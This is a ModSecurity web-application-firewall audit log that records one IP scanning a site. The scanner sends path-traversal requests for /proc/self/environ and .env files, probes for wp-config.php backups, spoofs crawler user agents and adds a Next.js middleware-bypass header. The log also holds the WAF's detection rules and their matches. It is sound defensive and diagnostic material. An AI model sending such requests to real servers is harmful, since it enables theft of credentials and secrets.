X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8154783d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8154783d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/build../.env"] [unique_id "aqZ0pjTJ6xTvcJoem7f7fwAAAFg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293734243980 115449 (- - -)
Stopwatch2: 1789293734243980 115449; combined=3940, p1=193, p2=3696, p3=0, p4=0, p5=51, sr=78, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8154783d-Z--

--5fbd494b-A--
[13/Sep/2026:13:02:14.836463 +0300] aqZ0pmM7dE9KgIIOpQh3bQAAANA 34.80.249.255 55026 127.0.0.1 7081
--5fbd494b-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--5fbd494b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5fbd494b-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles/x"] [unique_id "aqZ0pmM7dE9KgIIOpQh3bQAAANA"]
Action: Intercepted (phase 2)
Stopwatch: 1789293734830210 6314 (- - -)
Stopwatch2: 1789293734830210 6314; combined=5067, p1=237, p2=4514, p3=0, p4=0, p5=316, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5fbd494b-Z--

--f433bf16-A--
[13/Sep/2026:13:02:14.907099 +0300] aqZ0pkwu1RSkptiiNIX5wwAAAI8 34.80.249.255 55002 127.0.0.1 7081
--f433bf16-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f433bf16-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f433bf16-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZ0pkwu1RSkptiiNIX5wwAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293734815817 91339 (- - -)
Stopwatch2: 1789293734815817 91339; combined=4232, p1=207, p2=3972, p3=0, p4=0, p5=53, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f433bf16-Z--

--8c553c28-A--
[13/Sep/2026:13:02:14.925290 +0300] aqZ0pisVWymXUono-eRVdgAAAAI 34.80.249.255 55016 127.0.0.1 7081
--8c553c28-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8c553c28-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8c553c28-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZ0pisVWymXUono-eRVdgAAAAI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293734819371 105991 (- - -)
Stopwatch2: 1789293734819371 105991; combined=5122, p1=307, p2=4736, p3=0, p4=0, p5=78, sr=108, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8c553c28-Z--

--0fd0ee6f-A--
[13/Sep/2026:13:02:14.967030 +0300] aqZ0pisVWymXUono-eRVdwAAAAs 34.80.249.255 55040 127.0.0.1 7081
--0fd0ee6f-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0fd0ee6f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--0fd0ee6f-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZ0pisVWymXUono-eRVdwAAAAs"]
Action: Intercepted (phase 2)
Stopwatch: 1789293734960961 6142 (- - -)
Stopwatch2: 1789293734960961 6142; combined=4805, p1=239, p2=4253, p3=0, p4=0, p5=313, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0fd0ee6f-Z--

--b4221901-A--
[13/Sep/2026:13:02:15.018988 +0300] aqZ0pmM7dE9KgIIOpQh3bgAAAMU 34.80.249.255 55028 127.0.0.1 7081
--b4221901-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b4221901-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b4221901-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZ0pmM7dE9KgIIOpQh3bgAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293734946079 72979 (- - -)
Stopwatch2: 1789293734946079 72979; combined=5203, p1=264, p2=4878, p3=0, p4=0, p5=61, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b4221901-Z--

--6a04b44f-A--
[13/Sep/2026:13:02:15.412155 +0300] aqZ0p2M7dE9KgIIOpQh3cAAAAME 34.80.249.255 55060 127.0.0.1 7081
--6a04b44f-B--
GET /wp-config.php.old HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6a04b44f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6a04b44f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZ0p2M7dE9KgIIOpQh3cAAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZ0p2M7dE9KgIIOpQh3cAAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZ0p2M7dE9KgIIOpQh3cAAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735224032 188177 (- - -)
Stopwatch2: 1789293735224032 188177; combined=36972, p1=254, p2=36651, p3=0, p4=0, p5=66, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6a04b44f-Z--

--0dd37c6a-A--
[13/Sep/2026:13:02:15.434222 +0300] aqZ0p2M7dE9KgIIOpQh3cQAAAM8 34.80.249.255 55086 127.0.0.1 7081
--0dd37c6a-B--
GET /laravel/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0dd37c6a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0dd37c6a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/laravel/.env"] [unique_id "aqZ0p2M7dE9KgIIOpQh3cQAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735309105 125191 (- - -)
Stopwatch2: 1789293735309105 125191; combined=4551, p1=246, p2=4241, p3=0, p4=0, p5=64, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0dd37c6a-Z--

--a3bdc36e-A--
[13/Sep/2026:13:02:15.435208 +0300] aqZ0pysVWymXUono-eRVeAAAABU 34.80.249.255 55080 127.0.0.1 7081
--a3bdc36e-B--
GET /wp-config.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--a3bdc36e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a3bdc36e-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZ0pysVWymXUono-eRVeAAAABU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZ0pysVWymXUono-eRVeAAAABU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZ0pysVWymXUono-eRVeAAAABU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735268663 166601 (- - -)
Stopwatch2: 1789293735268663 166601; combined=38652, p1=234, p2=38352, p3=0, p4=0, p5=65, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a3bdc36e-Z--

--f2038b1e-A--
[13/Sep/2026:13:02:15.536869 +0300] aqZ0p0wu1RSkptiiNIX5xAAAAIk 34.80.249.255 55092 127.0.0.1 7081
--f2038b1e-B--
GET /config/.env.php HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f2038b1e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f2038b1e-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/config/.env.php"] [unique_id "aqZ0p0wu1RSkptiiNIX5xAAAAIk"]
